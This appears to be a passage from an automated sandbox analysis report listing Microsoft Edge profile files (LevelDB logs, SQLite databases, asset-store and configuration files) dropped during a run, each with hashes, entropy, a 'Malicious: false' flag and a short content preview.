Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377202374725362","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377202374725362","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.246031399390156
Encrypted:	false
SSDEEP:	6:HC50hRM1cNwi23oH+Tcwtp3hBtB2KLlVC5Apyq2PcNwi23oH+Tcwtp3hBWsIFUv:h2ZYebp3dFLjyvLZYebp3eFUv
MD5:	49E2327A27463AE3AE4773028B703C9B
SHA1:	4BDCC64FAF331DB3135ECB964986276B0C6AC77B
SHA-256:	07AD973B010AE5855D17A0CAA7BEC2FE32EED4F6A4B95ECD61877F149D5DFAB1
SHA-512:	44E067C96EA601459B1D613A40FDCCDA756D9815128B07E5C49CC543D9FC938C304EFB148F94D4CA073405CDE55BC8A41352E2A61CE5610A6B104F6A3ABC21C4
Malicious:	false
Preview:	2024/11/27-12:33:01.214 1454 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/27-12:33:01.226 1454 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1696115
Entropy (8bit):	5.040635771346793
Encrypted:	false
SSDEEP:	24576:kUf76gGkISshcFdmcOAoPENUpifYP+MbI2T:kUfgAmmE
MD5:	D03CF9CC12F6492BD5B116BC5D7EFD4E
SHA1:	5718E7FDCA1E5F72D2C2EA414A5EEB2024010046
SHA-256:	864A43D24DBCD030D33478B00F6D84A788F65A8C99C33FA1F08EA5A35FB6D7B2
SHA-512:	21D30A14AECC80A836A7640BB34D24EB58F40A7C61B1DD6F15D5549169C4CA76E90CFE3AE7B6A3CD0C4E3BC700FF4DD29BDE97ADCE850C812C12E06CA3E89F76
Malicious:	false
Preview:	...m.................DB_VERSION.1.....................QUERY_TIMESTAMP:arbitration_priority_list4...13340965219355520.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.097322927201981
Encrypted:	false
SSDEEP:	6:HC51vq2PcNwi23oH+Tcwt9Eh1tIFUt8YC51RZmw+YC51qkwOcNwi23oH+Tcwt9Er:OvLZYeb9Eh16FUt8b/+Y54ZYeb9Eh1VJ
MD5:	1F3AE96A3C12D31641ABB4B3168AEE0E
SHA1:	802AE6187DE959190CCD8085C5ED329A848C3C71
SHA-256:	DA3B68BC94CE0110CAFFCAC7FF7646645B7842EC716D45B99BB8BF6C03EF34DB
SHA-512:	3CB8AE5CC72AA23006523E0D4D45D3DC7749DD9AB0E841DE22ECA9EFAF4D8D210E5C4B33445199526478910CA573F31FF69E5F596FA3658CA3E6A0669422849D
Malicious:	false
Preview:	2024/11/27-12:33:00.920 2060 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-12:33:00.921 2060 Recovering log #3.2024/11/27-12:33:00.924 2060 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.097322927201981
Encrypted:	false
SSDEEP:	6:HC51vq2PcNwi23oH+Tcwt9Eh1tIFUt8YC51RZmw+YC51qkwOcNwi23oH+Tcwt9Er:OvLZYeb9Eh16FUt8b/+Y54ZYeb9Eh1VJ
MD5:	1F3AE96A3C12D31641ABB4B3168AEE0E
SHA1:	802AE6187DE959190CCD8085C5ED329A848C3C71
SHA-256:	DA3B68BC94CE0110CAFFCAC7FF7646645B7842EC716D45B99BB8BF6C03EF34DB
SHA-512:	3CB8AE5CC72AA23006523E0D4D45D3DC7749DD9AB0E841DE22ECA9EFAF4D8D210E5C4B33445199526478910CA573F31FF69E5F596FA3658CA3E6A0669422849D
Malicious:	false
Preview:	2024/11/27-12:33:00.920 2060 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/27-12:33:00.921 2060 Recovering log #3.2024/11/27-12:33:00.924 2060 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4629411294109269
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBusP:TouQq3qh7z3bY2LNW9WMcUvBui
MD5:	90D054EBF07CCF9101AA707596F227C0
SHA1:	51782AC5C92F6E66880C67C0E263EA7AE0330517
SHA-256:	423A28EB69999036667FCEBF8B4837A192419EDB6AC634213484F75C334C7840
SHA-512:	735A76911D101054B69CFC5469CC38284389DCBFF81A12B95080F8CAEED440F56854DDD0672860A9E326F6CB5FFD496BB3A78A181E7BBF14AF721D4A68215617
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.254594193596568
Encrypted:	false
SSDEEP:	6:HC5dLiTWcM+q2PcNwi23oH+TcwtnG2tMsIFUt8YC5dL83JZmw+YC5dL83cMVkwOX:8LhcM+vLZYebn9GFUt8BLmJ/+BLmcMVu
MD5:	90CF55B344B30D80187971604FD39763
SHA1:	B55620D875AA9D0EE850E082E680C59D1F69F54A
SHA-256:	5D96BD8A42D4E226D227B95EEAC559D5D81F99877F3A460404F4FCDB6C75A9C7
SHA-512:	D3A25AAB0CD1A0C06187E078F3627211BD649E55491D848E23EF6EF1EEDBF17AD1A1F0F55AFCF32D32CEDD35146003A4C51386312FA8113623136ABF7ECC6471
Malicious:	false
Preview:	2024/11/27-12:32:54.824 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-12:32:54.825 168c Recovering log #3.2024/11/27-12:32:54.825 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.254594193596568
Encrypted:	false
SSDEEP:	6:HC5dLiTWcM+q2PcNwi23oH+TcwtnG2tMsIFUt8YC5dL83JZmw+YC5dL83cMVkwOX:8LhcM+vLZYebn9GFUt8BLmJ/+BLmcMVu
MD5:	90CF55B344B30D80187971604FD39763
SHA1:	B55620D875AA9D0EE850E082E680C59D1F69F54A
SHA-256:	5D96BD8A42D4E226D227B95EEAC559D5D81F99877F3A460404F4FCDB6C75A9C7
SHA-512:	D3A25AAB0CD1A0C06187E078F3627211BD649E55491D848E23EF6EF1EEDBF17AD1A1F0F55AFCF32D32CEDD35146003A4C51386312FA8113623136ABF7ECC6471
Malicious:	false
Preview:	2024/11/27-12:32:54.824 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-12:32:54.825 168c Recovering log #3.2024/11/27-12:32:54.825 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6138783749637869
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWPds6MAqI+c:TLapR+DDNzWjJ0npnyXKUO8+jUnpGmL
MD5:	B76B30CC9B6DA2896FE9EE2C7BFB1753
SHA1:	6100ED4892D1EF2A42E139E4566EDEC06FEF667B
SHA-256:	5221519A6B0EE64A20B90FCFFF3DFC64071FD240B7B0EFA1D0D13E0884E099E4
SHA-512:	EB831AFFD75F87E63250BE32D23E90AB812500ECBD8AE3E93FA09F250636003AEC069F7B1E01D63ADBF188F5F6CAE49F33E957DF381771F4530EC4826292268F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354130476290415
Encrypted:	false
SSDEEP:	6144:eA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:eFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	349A7BBA8A52D38CB7D86DAC33B33714
SHA1:	B78D31087CF4F9978F9B05D22D3737654ECFB2A7
SHA-256:	8703FFF69E872DC0CFF41D35DD57130BA54443C7F6325B5EFE1AE5AB136265FE
SHA-512:	2806A1E499D9F23F33241E37A6A7D2EFDFF8E1282117BD726542448B0B548587E2DEB23D510F6E9AB168AF9F8E7327ACF469AFB8925E2441E784142DA828143C
Malicious:	false
Preview:	...m.................DB_VERSION.1.0..q...............&QUERY_TIMESTAMP:domains_config_gz2...13377202383232680..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.16030801339144
Encrypted:	false
SSDEEP:	6:HC51CTs1cNwi23oH+Tcwtk2WwnvB2KLlVC51rtq1yq2PcNwi23oH+Tcwtk2Wwnvh:BWZYebkxwnvFLYtq4vLZYebkxwnQFUv
MD5:	06AF593A5ED5A790127650624C41C6BF
SHA1:	44AC40D8DB52108FFB14F7E906BB99BDCF58E71C
SHA-256:	DAD6DA9808750223C96396B0ECCBBBEE76FC474CFCB01CAB29C05CA182DE5A31
SHA-512:	3FA574A62DAA2767D9A9F17E2F6795A240424C391538A6433E5B43452C91E79DB85B5032716FD82D0FC3CE39BEDB3048B91579B12C92D9B1017C56B9D08D46CC
Malicious:	false
Preview:	2024/11/27-12:33:00.935 2070 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/27-12:33:00.972 2070 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324620612560888
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rz:C1gAg1zfvr
MD5:	E7D5CC7D5B5AE982B69EA211CC72993F
SHA1:	09CB90A17509BD2EFFA5089E3CFE3DC884D25770
SHA-256:	E2649FB2754E86B415E1C4FD6A4F83413245671E27B9F2F4D27038B91B9F1547
SHA-512:	3B82A617FB231A4F377B67DD96C16ECA2033409F94C6BBFFD5DA9B361D02BF6128EBF4FAAB35DCC616C9D0EA813198F82AB766C80FCD7072213D2D4658FDBF2E
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.248163871896204
Encrypted:	false
SSDEEP:	6:HC5dLjEcM+q2PcNwi23oH+Tcwt8aPrqIFUt8YC5dLFsEJZmw+YC5dLGs3cMVkwO+:8L4cM+vLZYebL3FUt8BLFNJ/+BLH3cMJ
MD5:	A3268FB454ED346396ADEB004117BD93
SHA1:	E2F849684ADFBB708ECEBDB19F61A5B23CA3B2EA
SHA-256:	C93A6709D2F3925E4263D1177316F45AD33EDF86E250FDC7AE6CDE7F19928E04
SHA-512:	C88537B503EDBCE7309739152F2EB3E6985A02D5DC7F268395D784ABD9721E9E42A9FC4F941590100FEECFA3288E329E917CA25CABBA4393F38BACAB125B54F2
Malicious:	false
Preview:	2024/11/27-12:32:54.838 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-12:32:54.839 168c Recovering log #3.2024/11/27-12:32:54.840 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.248163871896204
Encrypted:	false
SSDEEP:	6:HC5dLjEcM+q2PcNwi23oH+Tcwt8aPrqIFUt8YC5dLFsEJZmw+YC5dLGs3cMVkwO+:8L4cM+vLZYebL3FUt8BLFNJ/+BLH3cMJ
MD5:	A3268FB454ED346396ADEB004117BD93
SHA1:	E2F849684ADFBB708ECEBDB19F61A5B23CA3B2EA
SHA-256:	C93A6709D2F3925E4263D1177316F45AD33EDF86E250FDC7AE6CDE7F19928E04
SHA-512:	C88537B503EDBCE7309739152F2EB3E6985A02D5DC7F268395D784ABD9721E9E42A9FC4F941590100FEECFA3288E329E917CA25CABBA4393F38BACAB125B54F2
Malicious:	false
Preview:	2024/11/27-12:32:54.838 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-12:32:54.839 168c Recovering log #3.2024/11/27-12:32:54.840 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.247891621056181
Encrypted:	false
SSDEEP:	6:HC5dLhcM+q2PcNwi23oH+Tcwt865IFUt8YC5dLhJZmw+YC5dL83cMVkwOcNwi23b:8LhcM+vLZYeb/WFUt8BLhJ/+BLmcMV5G
